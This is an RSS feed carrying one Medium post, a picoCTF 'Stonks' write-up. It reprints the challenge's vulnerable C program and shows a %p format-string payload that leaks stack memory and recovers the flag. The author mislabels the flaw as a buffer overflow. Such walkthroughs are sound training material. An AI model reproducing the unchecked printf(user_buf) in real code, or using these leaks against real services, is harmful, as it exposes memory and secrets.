<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aaditya Singh on Medium]]></title>
        <description><![CDATA[Stories by Aaditya Singh on Medium]]></description>
        <link>https://medium.com/@crypt0n1t3?source=rss-213feb312903------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*EY_0_j2G4AA7E9V7</url>
            <title>Stories by Aaditya Singh on Medium</title>
            <link>https://medium.com/@crypt0n1t3?source=rss-213feb312903------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 17:27:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@crypt0n1t3/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[picoCTF Stonks writeup]]></title>
            <link>https://crypt0n1t3.medium.com/picoctf-stonks-writeup-ab0b6088c332?source=rss-213feb312903------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab0b6088c332</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-2021]]></category>
            <dc:creator><![CDATA[Aaditya Singh]]></dc:creator>
            <pubDate>Mon, 14 Aug 2023 18:15:33 GMT</pubDate>
            <atom:updated>2023-08-14T18:15:33.050Z</atom:updated>
            <content:encoded><![CDATA[<pre>Statement:I decided to try something noone else has before.<br>I made a bot to automatically trade stonks for me using AI and machine learning.<br>I wouldn&#39;t believe you if you told me it&#39;s unsecure!</pre><p>On connecting with the web server using netcat command we came across a web app running on it.</p><pre>Welcome back to the trading app!<br><br>What would you like to do?<br>1) Buy some stonks!<br>2) View my portfolio</pre><p>On selecting 1 we get:</p><pre>1<br>Using patented AI algorithms to buy stonks<br>Stonks chosen<br>What is your API token?</pre><p>On giving further input to the API token:</p><pre>What is your API token?<br>0<br>Buying stonks with token:0<br>0<br>Portfolio as of Mon Aug 14 12:12:55 UTC 2023<br><br><br>1 shares of O<br>4 shares of LFK<br>10 shares of D<br>8 shares of NQ<br>22 shares of GKW<br>659 shares of ND<br>22 shares of HTFT<br>Goodbye!</pre><p>It generates a random output showing some shares and then exits.</p><p>Again on running the web app I tried giving input as 2</p><pre>Welcome back to the trading app!<br><br>What would you like to do?<br>1) Buy some stonks!<br>2) View my portfolio<br>2<br><br>Portfolio as of Mon Aug 14 12:12:33 UTC 2023<br><br><br>You don&#39;t own any stonks!<br>Goodbye!</pre><p>Also, lets try giving any random number….</p><pre>Welcome back to the trading app!<br><br>What would you like to do?<br>1) Buy some stonks!<br>2) View my portfolio<br>0<br>Goodbye!</pre><p>Now, it is evident that giving any random input will result in exiting…..</p><p>The only method working is to buy stonks and exploit it but how?</p><p>On observing the code of the webapp vuln.c:</p><pre>#include &lt;stdlib.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;time.h&gt;<br><br>#define FLAG_BUFFER 128<br>#define MAX_SYM_LEN 4<br><br>typedef struct Stonks {<br>        int shares;<br>        char symbol[MAX_SYM_LEN + 1];<br>        struct Stonks *next;<br>} Stonk;<br><br>typedef struct Portfolios {<br>        int money;<br>        Stonk *head;<br>} Portfolio;<br><br>int view_portfolio(Portfolio *p) {<br>        if (!p) {<br>                return 1;<br>        }<br>        printf(&quot;\nPortfolio as of &quot;);<br>        fflush(stdout);<br>        system(&quot;date&quot;); // TODO: implement this in C<br>        fflush(stdout);<br><br>        printf(&quot;\n\n&quot;);<br>        Stonk *head = p-&gt;head;<br>        if (!head) {<br>                printf(&quot;You don&#39;t own any stonks!\n&quot;);<br>        }<br>        while (head) {<br>                printf(&quot;%d shares of %s\n&quot;, head-&gt;shares, head-&gt;symbol);<br>                head = head-&gt;next;<br>        }<br>        return 0;<br>}<br><br>Stonk *pick_symbol_with_AI(int shares) {<br>        if (shares &lt; 1) {<br>                return NULL;<br>        }<br>        Stonk *stonk = malloc(sizeof(Stonk));<br>        stonk-&gt;shares = shares;<br><br>        int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;<br>        for (int i = 0; i &lt;= MAX_SYM_LEN; i++) {<br>                if (i &lt; AI_symbol_len) {<br>                        stonk-&gt;symbol[i] = &#39;A&#39; + (rand() % 26);<br>                } else {<br>                        stonk-&gt;symbol[i] = &#39;\0&#39;;<br>                }<br>        }<br><br>        stonk-&gt;next = NULL;<br><br>        return stonk;<br>}<br><br>int buy_stonks(Portfolio *p) {<br>        if (!p) {<br>                return 1;<br>        }<br>        char api_buf[FLAG_BUFFER];<br>        FILE *f = fopen(&quot;api&quot;,&quot;r&quot;);<br>        if (!f) {<br>                printf(&quot;Flag file not found. Contact an admin.\n&quot;);<br>                exit(1);<br>        }<br>        fgets(api_buf, FLAG_BUFFER, f);<br><br>        int money = p-&gt;money;<br>        int shares = 0;<br>        Stonk *temp = NULL;<br>        printf(&quot;Using patented AI algorithms to buy stonks\n&quot;);<br>        while (money &gt; 0) {<br>                shares = (rand() % money) + 1;<br>                temp = pick_symbol_with_AI(shares);<br>                temp-&gt;next = p-&gt;head;<br>                p-&gt;head = temp;<br>                money -= shares;<br>        }<br>        printf(&quot;Stonks chosen\n&quot;);<br><br>        // TODO: Figure out how to read token from file, for now just ask<br><br>        char *user_buf = malloc(300 + 1);<br>        printf(&quot;What is your API token?\n&quot;);<br>        scanf(&quot;%300s&quot;, user_buf);<br>        printf(&quot;Buying stonks with token:\n&quot;);<br>        printf(user_buf);<br><br>        // TODO: Actually use key to interact with API<br><br>        view_portfolio(p);<br><br>        return 0;<br>}<br><br>Portfolio *initialize_portfolio() {<br>        Portfolio *p = malloc(sizeof(Portfolio));<br>        p-&gt;money = (rand() % 2018) + 1;<br>        p-&gt;head = NULL;<br>        return p;<br>}<br><br>void free_portfolio(Portfolio *p) {<br>        Stonk *current = p-&gt;head;<br>        Stonk *next = NULL;<br>        while (current) {<br>                next = current-&gt;next;<br>                free(current);<br>                current = next;<br>        }<br>        free(p);<br>}<br><br>int main(int argc, char *argv[])<br>{<br>        setbuf(stdout, NULL);<br>        srand(time(NULL));<br>        Portfolio *p = initialize_portfolio();<br>        if (!p) {<br>                printf(&quot;Memory failure\n&quot;);<br>                exit(1);<br>        }<br><br>        int resp = 0;<br><br>        printf(&quot;Welcome back to the trading app!\n\n&quot;);<br>        printf(&quot;What would you like to do?\n&quot;);<br>        printf(&quot;1) Buy some stonks!\n&quot;);<br>        printf(&quot;2) View my portfolio\n&quot;);<br>        scanf(&quot;%d&quot;, &amp;resp);<br><br>        if (resp == 1) {<br>                buy_stonks(p);<br>        } else if (resp == 2) {<br>                view_portfolio(p);<br>        }<br><br>        free_portfolio(p);<br>        printf(&quot;Goodbye!\n&quot;);<br><br>        exit(0);<br>}</pre><p>On observing buy_stonks() function I came to know that the statement print(user_buf) can be used to exploit bufferoverflow. On passing arguments such as %p or %X can be used to leak sensitive data from the webapp.</p><pre>Welcome back to the trading app!<br><br>What would you like to do?<br>1) Buy some stonks!<br>2) View my portfolio<br>1<br>Using patented AI algorithms to buy stonks<br>Stonks chosen<br>What is your API token?<br>%p<br>Buying stonks with token:<br>0x9559450<br>Portfolio as of Mon Aug 14 15:22:13 UTC 2023<br><br><br>2 shares of L<br>3 shares of Y<br>11 shares of MSO<br>16 shares of SI<br>7 shares of N<br>103 shares of NTV<br>41 shares of VB<br>525 shares of K<br>44 shares of MNA<br>574 shares of KGK<br>265 shares of I<br>Goodbye!</pre><p>Clearly, It works. On passing the same argument multiple number of times so that it exceeds the buffer size can leak the data in the stack. So, I tried passing this argument 100 times via python code:</p><pre>print(&quot;%p&quot;*100)</pre><p>Now, on passing this argument we get:</p><pre>Welcome back to the trading app!<br><br>What would you like to do?<br>1) Buy some stonks!<br>2) View my portfolio<br>1<br>Using patented AI algorithms to buy stonks<br>Stonks chosen<br>What is your API token?<br>%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p<br>Buying stonks with token:<br>0x9a864100x804b0000x80489c30xf7efbd800xffffffff0x10x9a841600xf7f091100xf7efbdc7(nil)0x9a851800x10x9a863f00x9a864100x6f6369700x7b4654430x306c5f490x345f74350x6d5f6c6c0x306d5f790x5f79336e0x346364620x616535320xffd5007d0xf7f36af80xf7f094400xa538a8000x1(nil)0xf7d98ce90xf7f0a0c00xf7efb5c00xf7efb0000xffd5a4e80xf7d8968d0xf7efb5c00x8048eca0xffd5a4f4(nil)0xf7f1df090x804b0000xf7efb0000xf7efbe200xffd5a5280xf7f23d500xf7efc8900xa538a8000xf7efb0000x804b0000xffd5a5280x8048c860x9a841600xffd5a5140xffd5a5280x8048be90xf7efb3fc(nil)0xffd5a5dc0xffd5a5d40x10x10x9a841600xa538a8000xffd5a540(nil)(nil)0xf7d3efa10xf7efb0000xf7efb000(nil)0xf7d3efa10x10xffd5a5d40xffd5a5dc0xffd5a5640x1(nil)0xf7efb0000xf7f1e70a0xf7f36000(nil)0xf7efb000(nil)(nil)0x75cfeb810x795bad91(nil)(nil)(nil)0x10x8048630(nil)0xf7f23d500xf7f1e9600x804b0000x10x8048630(nil)0x80486620x8048b85<br>Portfolio as of Mon Aug 14 15:23:23 UTC 2023<br><br><br>1 shares of YZ<br>1 shares of Y<br>1 shares of PV<br>19 shares of C<br>120 shares of PZGK<br>455 shares of GHN<br>43 shares of KS<br>961 shares of FGR<br>6 shares of DS<br>Goodbye!</pre><p>Now, It is evident that we were successful in expoiting overflow and it looks like the output is in hexadecimal format(starting with 0x)……</p><p>So we will decode this data into the desireable text format i,e ASCII characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5VbZmMzB7sYHOMeKgFIv1g.png" /><figcaption>We got the flag</figcaption></figure><p>On looking closely to the flag we find that pico is reversed as well as CTF{ is also reversed that means the whole flag is reversed at 4 intervals of characters i,e little endian either reverse it again at 4 intervals and join the complete string or just write a program for that. On rephrasing it we get the output : picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab0b6088c332" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>